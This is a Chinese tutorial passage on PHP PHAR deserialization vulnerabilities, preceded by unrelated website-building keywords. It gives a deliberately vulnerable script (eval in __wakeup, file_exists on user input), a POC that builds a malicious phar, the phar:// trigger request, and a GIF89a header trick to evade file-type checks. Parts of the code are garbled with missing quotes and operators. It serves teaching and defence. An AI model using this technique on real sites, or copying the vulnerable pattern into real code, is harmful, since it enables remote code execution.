杭州市富阳区建设局网站,wordpress+主题加速,网站初期建设宣传,南宁上林网站建设一, 简介
1. phar文件
PHAR#xff0c;全称PHP Archive#xff0c;是一种将PHP代码和资源打包成一个自包含的文件的格式。这种文件格式可以将PHP代码文件和其他资源集合在一起#xff0c;实现应用程序、库或插件的分发。在PHP中#xff0c;Phar广泛应用于打包应用程序、库…一, 简介
1. phar文件
PHAR全称PHP Archive是一种将PHP代码和资源打包成一个自包含的文件的格式。这种文件格式可以将PHP代码文件和其他资源集合在一起实现应用程序、库或插件的分发。在PHP中Phar广泛应用于打包应用程序、库或插件使得它们能在不同的环境中部署和共享变得轻松。
2. phar文件格式
PHAR文件是一种PHP应用程序的打包格式它将多个文件和资源集合到一个文件中以方便移动和安装。其文件结构主要由四部分组成stub、manifest、文件内容和签名。
Stub: 它是phar文件的开头部分可以包含一些自定义的PHP代码。Stub的基本结构是
Manifest: 它包含了压缩文件的权限、属性以及序列化形式存储的用户自定义元数据等信息。Manifest是攻击的主要部分因为解析Phar时会对元数据进行反序列化操作。
文件内容 这一部分包含了实际的文件内容比如脚本、图片等。
签名 用于验证Phar文件的完整性和真实性。
3. phar漏洞
PHAR反序列化漏洞是一种基于PHP的反序列化漏洞。在一般情况下反序列化漏洞通常是由于将序列化后的字符串传入unserialize()函数中产生的。 然而PHP 5.3.3及更早版本的phar文件格式存在一个特性即会以序列化的形式存储用户自定义的meta-data。
当phar文件在文件系统函数如file_exists()、is_dir()等参数可控的情况下配合phar://伪协议攻击者有可能不依赖unserialize()函数直接进行反序列化操作。这种特性扩展了php反序列化漏洞的攻击面使得攻击难度相对较低。因此对phar反序列化漏洞的理解和防范显得尤为重要。
二, 漏洞实验
1. 准备后端脚本
漏洞脚本:
class User {var $name;function __wakeup(){eval($this-name);}
}
$filename $_GET[filename];
file_exists($filename);2. 编写poc脚本生成phar文件:
class User{var $name;// 通过构造方法修改属性值function __construct() {$this-name phpinfo();;}
}// 删除之前的phar
unlink(test.phar);
// 创建phar文件
$phar new Phar(test.phar);
$phar-startBuffering();
$phar-setStub(?php __HALT_COMPILER(); ?);
// 序列化对象到phar文件中
$o new User();
$phar-setMetadata($o);
$phar-addFromString(test.txt, content);
$phar-stopBuffering();执行poc后生成test.phar文件.
3. 漏洞利用
发送GET请求:
?filenamephar://test.phar/test.txt后端的file_exists()函数会触发phar文件的反序列化操作, 自动执行__wakeup()方法.
三, 绕过文件类型检测
后端可能对伪协议加载的文件类型进行检测, 通过文件头信息检测文件的类型. php解析phar文件是通过文件头stub中的?php __HALT_COMPILER(); ?代码, 在前后添加字符不影响解析. 那么编写poc时可以在开头添加一段信息伪装成其他类型的文件, 比如GIF图片GIF89a:
$phar-setStub(GIF89a?php __HALT_COMPILER(); ?);然后将生成的phar文件修改后缀名为 test.gif, 再利用:
?filenamephar://test.gif/test.txt